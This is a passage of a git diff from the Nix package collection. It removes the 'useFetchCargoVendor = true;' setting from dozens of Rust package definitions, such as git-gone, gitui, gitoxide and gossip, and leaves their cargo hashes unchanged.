index 76a8bb0ca03f..7c79ea3a1d1e 100644
--- a/pkgs/by-name/gi/git-gone/package.nix
+++ b/pkgs/by-name/gi/git-gone/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage rec {
       --replace-fail "[package]" ''$'cargo-features = ["edition2024"]\n[package]'
   '';
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-VjnnrVN+uST99paImI1uNj34CNozid7ZiPslJqvmKCs=";
 
   # remove if updating to rust 1.85
diff --git a/pkgs/by-name/gi/git-gr/package.nix b/pkgs/by-name/gi/git-gr/package.nix
index 2996a06c9853..abca39d3bc1c 100644
--- a/pkgs/by-name/gi/git-gr/package.nix
+++ b/pkgs/by-name/gi/git-gr/package.nix
@@ -28,7 +28,6 @@ rustPlatform.buildRustPackage {
 
   buildFeatures = [ "clap_mangen" ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-5YHE1NVUcZ5NeOl3Z87l3PVsmlkswhnT83Oi9loJjdM=";
 
   OPENSSL_NO_VENDOR = true;
diff --git a/pkgs/by-name/gi/git-graph/package.nix b/pkgs/by-name/gi/git-graph/package.nix
index eca09d3a4398..ecce78b67c6f 100644
--- a/pkgs/by-name/gi/git-graph/package.nix
+++ b/pkgs/by-name/gi/git-graph/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-xYUpLujePO1MS0c25UJX5rRdmPzkaFgF5zJonzQOJqM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-tN70YyhVkLD5OiYNm64vbY5NtKAG2sFp4Ry6vFpXvtE=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/gi/git-igitt/package.nix b/pkgs/by-name/gi/git-igitt/package.nix
index 843b1bc8e51c..56bca73a393a 100644
--- a/pkgs/by-name/gi/git-igitt/package.nix
+++ b/pkgs/by-name/gi/git-igitt/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-JXEWnekL9Mtw0S3rI5aeO1HB9kJ7bRJDJ6EJ4ATlFeQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ndxxkYMFHAX6uourCyUpvJYcZCXQ5X2CMX4jTJmNRiQ=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/gi/git-ignore/package.nix b/pkgs/by-name/gi/git-ignore/package.nix
index a125753eec39..d8648501f6ea 100644
--- a/pkgs/by-name/gi/git-ignore/package.nix
+++ b/pkgs/by-name/gi/git-ignore/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-KIdhsbD9v2kCM2C/kSJCleyniEz4Bw7UxBsF762fnJs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Zdy6bUgpaDBiAavSlAAH7LyYbNm7UU1qz0wAnVXQzpY=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/gi/git-instafix/package.nix b/pkgs/by-name/gi/git-instafix/package.nix
index 240927c7a8c0..d3977dd29219 100644
--- a/pkgs/by-name/gi/git-instafix/package.nix
+++ b/pkgs/by-name/gi/git-instafix/package.nix
@@ -25,7 +25,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-Uz+KQ8cQT3v97EtmbAv2II30dUrFD0hMo/GhnqcdBOs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-B0XTk0KxA60AuaS6eO3zF/eA/cTcLwA31ipG4VjvO8Q=";
 
   buildInputs = [ libgit2 ];
diff --git a/pkgs/by-name/gi/git-interactive-rebase-tool/package.nix b/pkgs/by-name/gi/git-interactive-rebase-tool/package.nix
index 729f87171641..6f5741c8b973 100644
--- a/pkgs/by-name/gi/git-interactive-rebase-tool/package.nix
+++ b/pkgs/by-name/gi/git-interactive-rebase-tool/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-NlnESZua4OP7rhMoER/VgBST9THqISQ0LCG1ZakNTqs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-WTg1o2iF5/UOVIqKFqGbC28B4HrKJWM0+XCHgaA1lc4=";
 
   # Compilation during tests fails if this env var is not set.
diff --git a/pkgs/by-name/gi/git-mit/package.nix b/pkgs/by-name/gi/git-mit/package.nix
index 26cf93af31c2..74b2d6fe45f8 100644
--- a/pkgs/by-name/gi/git-mit/package.nix
+++ b/pkgs/by-name/gi/git-mit/package.nix
@@ -23,8 +23,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-8XWwzR9TiSCU6fKbrulKpCDFDEyzQpaT2nrahF8iac8=";
   };
 
-  useFetchCargoVendor = true;
-
   cargoPatches = [
     # https://github.com/PurpleBooth/git-mit/pull/1543
     ./libgit2-update.patch
diff --git a/pkgs/by-name/gi/git-nomad/package.nix b/pkgs/by-name/gi/git-nomad/package.nix
index 296bac2ec541..6b2bcdf3eeb5 100644
--- a/pkgs/by-name/gi/git-nomad/package.nix
+++ b/pkgs/by-name/gi/git-nomad/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-G/i+mCKZSe8tPMuCLzymkU9SGyFNHY74cGhcC4ru0/k=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-WfmHQ9HXEGfAKQXPMJFNeuOYA0NbmwWdntZjP/YHWCw=";
 
   nativeCheckInputs = [ git ];
diff --git a/pkgs/by-name/gi/git-point/package.nix b/pkgs/by-name/gi/git-point/package.nix
index 1fa90fd85f09..f3a307e3c826 100644
--- a/pkgs/by-name/gi/git-point/package.nix
+++ b/pkgs/by-name/gi/git-point/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-mH++Ddfv+OqjRTTGhagAtnNZpD13OtKhAiGxh7Mu0lY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-YwinEAJ8djCE2tHp8VcfcyHSa8rUn8RBnsdW0YqIM3o=";
 
   postInstall = ''
diff --git a/pkgs/by-name/gi/git-prole/package.nix b/pkgs/by-name/gi/git-prole/package.nix
index ce67f6958484..42d96fef65ec 100644
--- a/pkgs/by-name/gi/git-prole/package.nix
+++ b/pkgs/by-name/gi/git-prole/package.nix
@@ -26,7 +26,6 @@ rustPlatform.buildRustPackage {
 
   buildFeatures = [ "clap_mangen" ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-qghc8HtJfpTYXAwC2xjq8lLlCu419Ttnu/AYapkAulI=";
 
   nativeCheckInputs = [
diff --git a/pkgs/by-name/gi/git-ps-rs/package.nix b/pkgs/by-name/gi/git-ps-rs/package.nix
index 9fc49832be9c..ab44cfd03c6c 100644
--- a/pkgs/by-name/gi/git-ps-rs/package.nix
+++ b/pkgs/by-name/gi/git-ps-rs/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-4lk6AHquWKgDk0pBaswbVShZbUDA3wO6cPakhrvrwac=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-QYkEBqDwspdhSliwLwMWmybS9nd41DCjGNURnMzLzBM=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/gi/git-quickfix/package.nix b/pkgs/by-name/gi/git-quickfix/package.nix
index fea3fe9716cd..7cab4d8f55c9 100644
--- a/pkgs/by-name/gi/git-quickfix/package.nix
+++ b/pkgs/by-name/gi/git-quickfix/package.nix
@@ -31,7 +31,6 @@ rustPlatform.buildRustPackage rec {
     zlib
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-2VhbvhGeQHAbQLW0iBAgl0ICAX/X+PnwcGdodJG2Hsw=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/gi/git-series/package.nix b/pkgs/by-name/gi/git-series/package.nix
index c5bf21efe8c1..6ad9cfed752a 100644
--- a/pkgs/by-name/gi/git-series/package.nix
+++ b/pkgs/by-name/gi/git-series/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-DtOR7+vX7efNzYMRJwJTj5cXlFHQwzcS0Gp2feVdea4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-hFiNK0MQmCPciflMwwR4gzU0Z+Q1WkPJrd4Hs33W8kw=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/gi/git-smash/package.nix b/pkgs/by-name/gi/git-smash/package.nix
index d11c61bb1666..8b3470d4066a 100644
--- a/pkgs/by-name/gi/git-smash/package.nix
+++ b/pkgs/by-name/gi/git-smash/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-NyNYEF5g0O9xNhq+CoDPhQXZ+ISiY4DsShpjk5nP0N8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-YuSaSYr5W4zN7WnWjq7UClQtqx8AnaswOqlOq2WsZ6o=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/gi/git-stack/package.nix b/pkgs/by-name/gi/git-stack/package.nix
index 74208f43cdf7..f7607efd003e 100644
--- a/pkgs/by-name/gi/git-stack/package.nix
+++ b/pkgs/by-name/gi/git-stack/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-iFoxYq4NHC/K0ruPDXHfayZDglebBJE00V57HUH9Y84=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-338iRd6zoy2O55sZ0h+s6i8kg4yXFBowRQLge9R9Bqs=";
 
   buildInputs =
diff --git a/pkgs/by-name/gi/git-together/package.nix b/pkgs/by-name/gi/git-together/package.nix
index e2a04faa8292..e074325a2697 100644
--- a/pkgs/by-name/gi/git-together/package.nix
+++ b/pkgs/by-name/gi/git-together/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage rec {
 
   OPENSSL_NO_VENDOR = true;
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-5LKKjHzIlXw0bUmF7GDCVW0cptCxohq6CNPIrMZKorM=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/gi/git-trim/package.nix b/pkgs/by-name/gi/git-trim/package.nix
index 1c4019f3c5a3..c8a3ea08f4c6 100644
--- a/pkgs/by-name/gi/git-trim/package.nix
+++ b/pkgs/by-name/gi/git-trim/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-XAO3Qg5I2lYZVNx4+Z5jKHRIFdNwBJsUQwJXFb4CbvM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-irgekVTWCujzSbZQMNJw3NZ3cjaUftpSJha6iZQqYJ8=";
 
   cargoPatches = [
diff --git a/pkgs/by-name/gi/git-upstream/package.nix b/pkgs/by-name/gi/git-upstream/package.nix
index ddadd1a61a3a..41d7e99070e7 100644
--- a/pkgs/by-name/gi/git-upstream/package.nix
+++ b/pkgs/by-name/gi/git-upstream/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-rdxpo1OZD/fpBm76zD7U/YeZOBpliKXJN87LJkw6A28=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-7h0aWb7xJjDJedQp9xXc+deW0hM+qBJcG36Sd8fo+Fg=";
 
   meta = {
diff --git a/pkgs/by-name/gi/git-vanity-hash/package.nix b/pkgs/by-name/gi/git-vanity-hash/package.nix
index 9e6f9e9ab8cd..3dcdebcc45be 100644
--- a/pkgs/by-name/gi/git-vanity-hash/package.nix
+++ b/pkgs/by-name/gi/git-vanity-hash/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-1z4jbtzUB3SH79dDXAITf7Vup1YZdTLHBieSrhrvSXc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-aHqH7SQBIe0oqD3MegWvAR3UvzRBm2X92lP931nVVtA=";
 
   postInstall = ''
diff --git a/pkgs/by-name/gi/git-wait/package.nix b/pkgs/by-name/gi/git-wait/package.nix
index f5417c49b36c..cebf175f1610 100644
--- a/pkgs/by-name/gi/git-wait/package.nix
+++ b/pkgs/by-name/gi/git-wait/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-Va917eD9M3oUVmLrDab6cx/LvmBlk95U4mRHqPpBB5I=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-tA0WjghBB2K71IlZ1u9K67tZWGe9VNFOfI2YdrqCUw0=";
 
   checkFlags = lib.optionals stdenv.hostPlatform.isDarwin [
diff --git a/pkgs/by-name/gi/git-workspace/package.nix b/pkgs/by-name/gi/git-workspace/package.nix
index efab397d2f5f..942ce2136fb9 100644
--- a/pkgs/by-name/gi/git-workspace/package.nix
+++ b/pkgs/by-name/gi/git-workspace/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-SeE8O48lzqJSg8rfmIgsUcGPbquo2OvK3OUUBG21ksc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-CaHZivayZNuCi8vID8Qr5j/Ed+GGdNu+7NznvsCb3j0=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/gi/gitbutler/package.nix b/pkgs/by-name/gi/gitbutler/package.nix
index 06db57d9c054..c68297840174 100644
--- a/pkgs/by-name/gi/gitbutler/package.nix
+++ b/pkgs/by-name/gi/gitbutler/package.nix
@@ -59,7 +59,6 @@ rustPlatform.buildRustPackage rec {
       --replace-fail 'checkUpdate = check;' 'checkUpdate = () => null;'
   '';
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-wzSRUZeB5f9Z/D+Sa5Nl77jh7GDnnUehcmwanPcaSKM=";
 
   pnpmDeps = pnpm_9.fetchDeps {
diff --git a/pkgs/by-name/gi/gitlab-ci-ls/package.nix b/pkgs/by-name/gi/gitlab-ci-ls/package.nix
index 29a8de572a53..9d36e8e133c3 100644
--- a/pkgs/by-name/gi/gitlab-ci-ls/package.nix
+++ b/pkgs/by-name/gi/gitlab-ci-ls/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-nfcG1fGmWutWwyROlTEnKN2+wPVmDkN0Z1VKdZDHGmU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-I8LSN50uSEAGAlaQzscAZWUqRpLUq+7gfzdj0UPkg4o=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/gi/gitlab-clippy/package.nix b/pkgs/by-name/gi/gitlab-clippy/package.nix
index 281d7772cf5d..8ab667701379 100644
--- a/pkgs/by-name/gi/gitlab-clippy/package.nix
+++ b/pkgs/by-name/gi/gitlab-clippy/package.nix
@@ -14,7 +14,7 @@ rustPlatform.buildRustPackage rec {
     rev = version;
     hash = "sha256-d7SmlAWIV4SngJhIvlud90ZUSF55FWIrzFpkfSXIy2Y=";
   };
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-O3Pey0XwZITePTiVHrG5EVZpIp96sRWjUf1vzZ/JnCw=";
 
   # TODO re-add theses tests once they get fixed in upstream
diff --git a/pkgs/by-name/gi/gitlab-timelogs/package.nix b/pkgs/by-name/gi/gitlab-timelogs/package.nix
index c12f7d25b9f8..831ba93e25ca 100644
--- a/pkgs/by-name/gi/gitlab-timelogs/package.nix
+++ b/pkgs/by-name/gi/gitlab-timelogs/package.nix
@@ -26,7 +26,6 @@ rustPlatform.buildRustPackage rec {
     iconv
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-qSIRcf0HpRg1Eu12L6UcJajHBgjJgfhsHmF1oV1h8HM=";
 
   meta = {
diff --git a/pkgs/by-name/gi/gitnr/package.nix b/pkgs/by-name/gi/gitnr/package.nix
index 035c51204724..cedc2cfc9a68 100644
--- a/pkgs/by-name/gi/gitnr/package.nix
+++ b/pkgs/by-name/gi/gitnr/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-9vx+bGfYuJuafZUY2ZT4SAgrNcSXuMe1kHH/lrpItvM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-DlYV92ZbkeUieVmyaxVuCslkwAgWrULu4HerLFXZZtE=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/gi/gitoxide/package.nix b/pkgs/by-name/gi/gitoxide/package.nix
index 3a3c636ba646..8d123380857f 100644
--- a/pkgs/by-name/gi/gitoxide/package.nix
+++ b/pkgs/by-name/gi/gitoxide/package.nix
@@ -27,7 +27,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-hrCWt4cCnlH3NKH5Uugf/rvVN+YpbeZgZ/lhnQGZ2I0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-q35MQGN/tvsK7gg0a/ljoVY6wedy7rwKlSakONgBIgk=";
 
   patches = [
diff --git a/pkgs/by-name/gi/gitprompt-rs/package.nix b/pkgs/by-name/gi/gitprompt-rs/package.nix
index 888167b3b2bd..8a7dd5f39a7b 100644
--- a/pkgs/by-name/gi/gitprompt-rs/package.nix
+++ b/pkgs/by-name/gi/gitprompt-rs/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-U0ylhgD86lbXvt6jMLaEQdL/zbcbXnfrA72FMEzBkN0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-1ihTH/Ft9/8wjRRR0Mt3m8AUYvUEARzdr+R77LjSxzY=";
 
   postPatch = ''
diff --git a/pkgs/by-name/gi/gitrs/package.nix b/pkgs/by-name/gi/gitrs/package.nix
index 7d7761d849fe..5a3fbbfd6dc9 100644
--- a/pkgs/by-name/gi/gitrs/package.nix
+++ b/pkgs/by-name/gi/gitrs/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-+43XJroPNWmdUC6FDL84rZWrJm5fzuUXfpDkAMyVQQg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-uDDk1wztXdINPSVF6MvDy+lHIClMLp13HZSTpIgLypM=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/gi/gitu/package.nix b/pkgs/by-name/gi/gitu/package.nix
index 991c7b71eb2f..98046fe69b71 100644
--- a/pkgs/by-name/gi/gitu/package.nix
+++ b/pkgs/by-name/gi/gitu/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-AZyUvZivzUflrH1ihvLKTff3Q2cCFYduJmsegUuuhkE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-0/GqPvFg7ijjF8DjLIqKWIbHYt8brVwIKYR8QI9Ppu0=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/gi/gitui/package.nix b/pkgs/by-name/gi/gitui/package.nix
index 3f4b4a901769..6c2f8cf7f342 100644
--- a/pkgs/by-name/gi/gitui/package.nix
+++ b/pkgs/by-name/gi/gitui/package.nix
@@ -24,7 +24,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-jKJ1XnF6S7clyFGN2o3bHnYpC4ckl/lNXscmf6GRLbI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Le/dD8bTd5boz1IeEq4ItJZYC3MRW8uiT/3Zy1yv5L0=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/gl/glas/package.nix b/pkgs/by-name/gl/glas/package.nix
index 45f7ae6715ff..5e81f0a2485a 100644
--- a/pkgs/by-name/gl/glas/package.nix
+++ b/pkgs/by-name/gl/glas/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-jMpFxzosaCedwsJ8URlR3Gd/mnlgSBEfA3oIymmEPFU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-uPCWHLqko361S/ThtWOP/XN1QFSHXv0dpYR3xweHqe0=";
 
   doInstallCheck = true;
diff --git a/pkgs/by-name/gl/glicol-cli/package.nix b/pkgs/by-name/gl/glicol-cli/package.nix
index e432df1a798d..56374a9d1cc7 100644
--- a/pkgs/by-name/gl/glicol-cli/package.nix
+++ b/pkgs/by-name/gl/glicol-cli/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-v90FfF4vP5UPy8VnQFvYMKiCrledgNMpWbJR59Cv6a0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-u6H+4cikI/jmcKpA2Ty2DjZF8wLiNylFMInA6sdNl0k=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/gl/glitter/package.nix b/pkgs/by-name/gl/glitter/package.nix
index c7f5633a021b..a02716c45374 100644
--- a/pkgs/by-name/gl/glitter/package.nix
+++ b/pkgs/by-name/gl/glitter/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-dImQLC7owPf2EB5COO5vjN3a6k7gJ88D2hMSUW2/wn4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-gHwweWKRnRJRfVMxnIFkafbN9Sl+UTnnYRQF7QD3nCc=";
 
   nativeCheckInputs = [
diff --git a/pkgs/by-name/gl/globe-cli/package.nix b/pkgs/by-name/gl/globe-cli/package.nix
index 9efec8d3fdb7..09d7262a5603 100644
--- a/pkgs/by-name/gl/globe-cli/package.nix
+++ b/pkgs/by-name/gl/globe-cli/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Np1f/mSMIMZU3hE0Fur8bOHhOH3rZyroGiVAqfiIs7g=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-pcmxtkj3+sS0TytQjrfQLc6qm2JUxtp82VNyvybl9vU=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/gl/glrnvim/package.nix b/pkgs/by-name/gl/glrnvim/package.nix
index feacb5843dbe..96f7f0d7deaa 100644
--- a/pkgs/by-name/gl/glrnvim/package.nix
+++ b/pkgs/by-name/gl/glrnvim/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-fyJ3k1CBrxL6It8x9jNumzCuhXug6eB/fuvPUQYEc4A=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-xDa2aMWx09dEbRDops2HwYSl/KMA7CeFqS2bnxX/8w8=";
 
   postInstall = ''
diff --git a/pkgs/by-name/gl/gluesql/package.nix b/pkgs/by-name/gl/gluesql/package.nix
index b619ebd527ae..e97d83206d82 100644
--- a/pkgs/by-name/gl/gluesql/package.nix
+++ b/pkgs/by-name/gl/gluesql/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-z2fpyPJfyPtO13Ly7XRmMW3rp6G3jNLsMMFz83Wmr0E=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-QITNkSB/IneKj0w12FCKV1Y0vRAlOfENs8BpFbDpK2M=";
 
   passthru.updateScript = nix-update-script { };
diff --git a/pkgs/by-name/gn/gnirehtet/package.nix b/pkgs/by-name/gn/gnirehtet/package.nix
index 15024ae92ece..7ec66906f42a 100644
--- a/pkgs/by-name/gn/gnirehtet/package.nix
+++ b/pkgs/by-name/gn/gnirehtet/package.nix
@@ -38,7 +38,6 @@ rustPlatform.buildRustPackage rec {
 
   sourceRoot = "${src.name}/relay-rust";
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-xfRTGGlL1/Bq04aGWJSGgkoTGKYiiUAdkHu4zJS3x/U=";
 
   nativeBuildInputs = [ makeWrapper ];
diff --git a/pkgs/by-name/gn/gnome-pomodoro-watcher/package.nix b/pkgs/by-name/gn/gnome-pomodoro-watcher/package.nix
index d55a6956e81d..4698b44acefd 100644
--- a/pkgs/by-name/gn/gnome-pomodoro-watcher/package.nix
+++ b/pkgs/by-name/gn/gnome-pomodoro-watcher/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-VQjjLK2gnxbf7CzRjNrS/562fBGVAFMTxj6F71hOXrU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-eqkdiNww0CBZ0ZfoirZSvpL7i/4b1XjN3NZFPOGkPko=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/gn/gnome-randr/package.nix b/pkgs/by-name/gn/gnome-randr/package.nix
index a17379b98ea3..4a846ff7eaa1 100644
--- a/pkgs/by-name/gn/gnome-randr/package.nix
+++ b/pkgs/by-name/gn/gnome-randr/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage {
     sha256 = "sha256-mciHgBEOCFjRA4MSoEdP7bIag0KE+zRbk4wOkB2PAn0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-FnJU/KtZrSXBEf7gjvlME52by3Fj7DwxmxUL4xXNBmk=";
 
   buildInputs = [ dbus ];
diff --git a/pkgs/by-name/go/gobang/package.nix b/pkgs/by-name/go/gobang/package.nix
index 69bf2531e07e..13f38313fd36 100644
--- a/pkgs/by-name/go/gobang/package.nix
+++ b/pkgs/by-name/go/gobang/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage {
 
   cargoPatches = [ ./update-sqlx.patch ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-K9oo0QrqcPNdV7WMlgSCVc+7AVfoyDkovvJLqKJPvTQ=";
 
   meta = {
diff --git a/pkgs/by-name/go/gobble/package.nix b/pkgs/by-name/go/gobble/package.nix
index 5f4b46d036b4..1a7bdba0814c 100644
--- a/pkgs/by-name/go/gobble/package.nix
+++ b/pkgs/by-name/go/gobble/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-g4154Axvjp9jbE0lvMeNGM+v2UxkAsZqt9kPv5bhVK8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-DnIZTeRyxhmVK2uB21ScPiEyL4k9kAWfVoLNIAM9P68=";
 
   buildInputs = [ xorg.libxcb ];
diff --git a/pkgs/by-name/go/goldboot/package.nix b/pkgs/by-name/go/goldboot/package.nix
index badc531c25c1..c4bfe46363bc 100644
--- a/pkgs/by-name/go/goldboot/package.nix
+++ b/pkgs/by-name/go/goldboot/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-O9yhyJZpjQxC0HP43RsOgPMOKp6d23SNhMLiGtmwXzs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-NF0Fj+r6qWcM4VEIm1fzveZuz6MIaG32Z+zBfSMC/t4=";
 
   buildAndTestSubdir = "goldboot";
diff --git a/pkgs/by-name/go/golem/package.nix b/pkgs/by-name/go/golem/package.nix
index d2f37af849b6..0df59871d0c6 100644
--- a/pkgs/by-name/go/golem/package.nix
+++ b/pkgs/by-name/go/golem/package.nix
@@ -50,7 +50,6 @@ rustPlatform.buildRustPackage rec {
   # https://github.com/golemcloud/golem-examples/blob/v1.0.6/build.rs#L9
   GOLEM_WIT_ROOT = "../golem-wit-1.1.0";
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-zf/L7aNsfQXCdGpzvBZxgoatAGB92bvIuj59jANrXIc=";
 
   # Tests are failing in the sandbox because of some redis integration tests
diff --git a/pkgs/by-name/go/goose-cli/package.nix b/pkgs/by-name/go/goose-cli/package.nix
index 183e0137841c..b62dab23e58a 100644
--- a/pkgs/by-name/go/goose-cli/package.nix
+++ b/pkgs/by-name/go/goose-cli/package.nix
@@ -35,7 +35,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-jdoopa4pbW3MSgbNmNSp47iiXZF8H2GEgyhpkV1cB4A=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-We2v/U9pK4O7JVXyVDvHwyrujPLp9jL1m4SKcMg/Hvc=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/go/gossip/package.nix b/pkgs/by-name/go/gossip/package.nix
index d671cefc5cdc..218b917723f9 100644
--- a/pkgs/by-name/go/gossip/package.nix
+++ b/pkgs/by-name/go/gossip/package.nix
@@ -33,7 +33,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-nv/NMLAka62u0WzvHMEW9XBVXpg9T8bNJiUegS/oj48=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-rE7SErOhl2fcmvLairq+mvdnbDIk1aPo3eYqwRx5kkA=";
 
   # See https://github.com/mikedilger/gossip/blob/0.9/README.md.
diff --git a/pkgs/by-name/go/gotify-desktop/package.nix b/pkgs/by-name/go/gotify-desktop/package.nix
index 0f3f652bd45e..ca7ec8a0776e 100644
--- a/pkgs/by-name/go/gotify-desktop/package.nix
+++ b/pkgs/by-name/go/gotify-desktop/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-QhzvY7MeOvrL+xxeV7gPXWRo3EinMMdS9A7oh38gYjU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-fNOC8atr5/LgQcGf9jdxec9AQt3YIR+hem/xL10YYqY=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/go/govee2mqtt/package.nix b/pkgs/by-name/go/govee2mqtt/package.nix
index 82f8151452d5..cc455f27844e 100644
--- a/pkgs/by-name/go/govee2mqtt/package.nix
+++ b/pkgs/by-name/go/govee2mqtt/package.nix
@@ -35,7 +35,6 @@ rustPlatform.buildRustPackage rec {
       --replace '"assets"' '"${placeholder "out"}/share/govee2mqtt/assets"'
   '';
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-RJqAhAhrMHLunJwTtvUIBNO45xUWY251KXyX0RLruwk=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/go/goxlr-utility/package.nix b/pkgs/by-name/go/goxlr-utility/package.nix
